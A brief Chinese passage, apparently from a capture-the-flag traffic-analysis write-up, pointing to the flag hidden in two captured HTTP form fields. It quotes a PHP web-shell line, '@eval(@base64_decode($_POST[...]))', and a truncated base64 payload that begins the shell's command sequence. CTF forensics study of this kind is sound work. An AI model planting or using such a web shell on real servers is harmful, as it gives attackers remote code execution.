格式是redrock{}
最后马上要接近答案了
答案在
"redrock" = "@eval(@base64_decode($_POST['d2e4d43c80acfc']));"
Form item: "d2e4d43c80acfc" = "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb3BhcnI9cHJlZ19zcGxpdCgiL1xcXFx8XC8vIiwkb3BkaXIpOyRvY3dkPWRpcm5hbWUoJF9TRVJWRVJb
这两句里